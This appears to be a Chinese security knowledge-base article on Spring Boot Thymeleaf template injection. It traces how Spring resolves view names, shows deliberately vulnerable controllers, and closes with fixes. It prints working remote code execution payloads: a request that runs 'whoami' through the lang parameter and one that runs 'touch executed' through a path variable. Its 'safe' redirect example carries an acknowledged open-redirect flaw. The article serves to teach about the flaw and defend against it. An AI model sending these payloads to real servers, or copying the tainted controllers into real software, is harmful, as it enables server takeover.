menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Spring Boot Thymeleaf 模板注入 chevron_right Spring Boot Thymeleaf 模板注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Spring Boot Thymeleaf 模板注入.md
    9.13 KB / 2021-07-15 20:03:57
        Spring Boot Thymeleaf 模板注入
    ==============================
    
    一、漏洞简介
    ------------
    
    Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python
    web开发中的jinja模板引擎。顺便说一句,Thymeleaf是spring boot的推荐引擎
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    ### 0x01 基础知识
    
    Spring Boot 本身就 Spring MVC 的简化版本。是在 Spring MVC
    的基础上实现了自动配置,简化了开发人员开发过程。Spring MVC 是通过一个叫
    DispatcherServlet 前端控制器的来拦截请求的。而在 Spring Boot 中
    使用自动配置把 DispatcherServlet 前端控制器自动配置到框架中。
    
    例如,我们来解析 /users 这个请求
    
    ![1.png](./resource/SpringBootThymeleaf模板注入/media/rId25.png)
    
    1.  DispatcherServlet 前端控制器拦截请求 /users
    
    2.  servlet 决定使用哪个 handler 处理
    
    3.  Spring 检测哪个控制器匹配 /users,Spring 从 \@RquestMapping
        中查找出需要的信息
    
    4.  Spring 找到正确的 Controller 方法后,开始执行 Controller 方法
    
    5.  返回 users 对象列表
    
    6.  根据与客户端交互需要返回 Json 或者 Xml 格式
    
    ### spring boot 相关注解
    
    -   \@Controller 处理 Http 请求
    -   \@RestController \@Controller 的衍生注解
    -   \@RequestMapping 路由请求 可以设置各种操作方法
    -   \@GetMapping GET 方法的路由
    -   \@PostMapping POST 方法的路由
    -   \@PutMapping PUT 方法的路由
    -   \@DeleteMapping DELETE 方法的路由
    -   \@PathVariable 处理请求 url 路径中的参数 /user/{id}
    -   \@RequestParam 处理问号后面的参数
    -   \@RequestBody 请求参数以json格式提交
    -   \@ResponseBody 返回 json 格式
    
    ### Controller注解
    
    \@Controller 一般应用在有返回界面的应用场景下.例如,管理后台使用了
    thymeleaf 作为模板开发,需要从后台直接返回 Model
    对象到前台,那么这时候就需要使用 \@Controller 来注解。
    
    ### RequestMapping注解
    
    用来将一个controller添加至路由中
    
    0x02 环境配置
    -------------
    
    > https://github.com/veracode-research/spring-view-manipulation/
    
    我们以spring boot + Thymeleaf模板创建一个带有漏洞的项目。核心代码如下
    
            @GetMapping("/path")
            public String path(@RequestParam String lang) {
                return  lang ; //template path is tainted
            }
    
    代码含义如下:用户请求的url为path,参数名称为lang,则服务器通过Thymeleaf模板,去查找相关的模板文件。
    
    例如,用户通过get请求`/path?lang=en`,则服务器去自动拼接待查找的模板文件名,为`resources/templates/en.html`,并返回给用户的浏览器。
    
    上面的代码存在两个问题:
    
    1.  是不是存在任意文件读取?
    2.  是不是存在诸如模板注入的漏洞???
    
    0x03 模板注入分析
    -----------------
    
    spring boot如何查找controller这块我们不分析,因为对于我们不重要。
    
    spring
    boot在`org.springframework.web.servlet.ModelAndView`方法中,开始处理用户的请求
    
         /**
             * This implementation expects the handler to be an {@link HandlerMethod}.
             */
            @Override
            @Nullable
            public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
                    throws Exception {
    
                return handleInternal(request, response, (HandlerMethod) handler);
            }
    
    随后在`org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle`方法中,通过invokeForRequest函数,根据用户提供的url,调用相关的controller,并将其返回值,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户
    
         /**
             * Invoke the method and handle the return value through one of the
             * configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
             * @param webRequest the current request
             * @param mavContainer the ModelAndViewContainer for this request
             * @param providedArgs "given" arguments matched by type (not resolved)
             */
            public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
                    Object... providedArgs) throws Exception {
    
                Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
                setResponseStatus(webRequest);
    
                if (returnValue == null) {
                    if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
                        disableContentCachingIfNecessary(webRequest);
                        mavContainer.setRequestHandled(true);
                        return;
                    }
                }
                else if (StringUtils.hasText(getResponseStatusReason())) {
                    mavContainer.setRequestHandled(true);
                    return;
                }
    
                mavContainer.setRequestHandled(false);
                try {
                    this.returnValueHandlers.handleReturnValue(
                            returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
                }
            }
    
    在函数中,调用`this.returnValueHandlers.handleReturnValue`去处理返回结果。最终在`org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue`方法中,将controller返回值作为视图名称。代码如下
    
         @Override
            public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
                    ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
    
                if (returnValue instanceof CharSequence) {
                    String viewName = returnValue.toString();
                    mavContainer.setViewName(viewName);
                    if (isRedirectViewName(viewName)) {
                        mavContainer.setRedirectModelScenario(true);
                    }
                }
    
    spring
    boot最终在`org.springframework.web.servlet.DispatcherServlet#processDispatchResult`方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下`org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression`
    
                final String viewTemplateName = getTemplateName();
                final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
    
              
                final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
    
                final FragmentExpression fragmentExpression;
                try {
                    // By parsing it as a standard expression, we might profit from the expression cache
                    fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
                } catch (final TemplateProcessingException e) {
                    throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
                }
    
    0x04 不安全的java代码
    ---------------------
    
    #### 第一种:
    
            @GetMapping("/path")
            public String path(@RequestParam String lang) {
                return  lang ; //template path is tainted
            }
    
    在查找模板中,引用了用户输入的内容
    
    payload
    
        GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
        Host: www.0-sec.org:8090
        Connection: close
    
    ![2.png](./resource/SpringBootThymeleaf模板注入/media/rId33.png)
    
    #### 第二种
    
    根据spring
    boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。
    
    > https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html\#mvc-ann-return-types
    
    在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞。例如我们可以控制document参数
    
        @GetMapping("/doc/{document}")
        public void getDocument(@PathVariable String document) {
            log.info("Retrieving " + document);
        }
        GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
    
    0x05 修复方案
    -------------
    
    ### 1. 设置ResponseBody注解
    
    如果设置`ResponseBody`,则不再调用模板解析
    
    ### 2. 设置redirect重定向
    
        @GetMapping("/safe/redirect")
        public String redirect(@RequestParam String url) {
            return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
    
    根据spring
    boot定义,如果名称以`redirect:`开头,则不再调用`ThymeleafView`解析,调用`RedirectView`去解析`controller`的返回值
    
    ### 3. response
    
        @GetMapping("/safe/doc/{document}")
        public void getDocument(@PathVariable String document, HttpServletResponse response) {
            log.info("Retrieving " + document); //FP
        }
    
    由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
    Response,因此不会发生视图名称解析
    
    参考链接
    --------
    
    > https://www.cnblogs.com/potatsoSec/p/13620019.html
    
    
    links
    file_download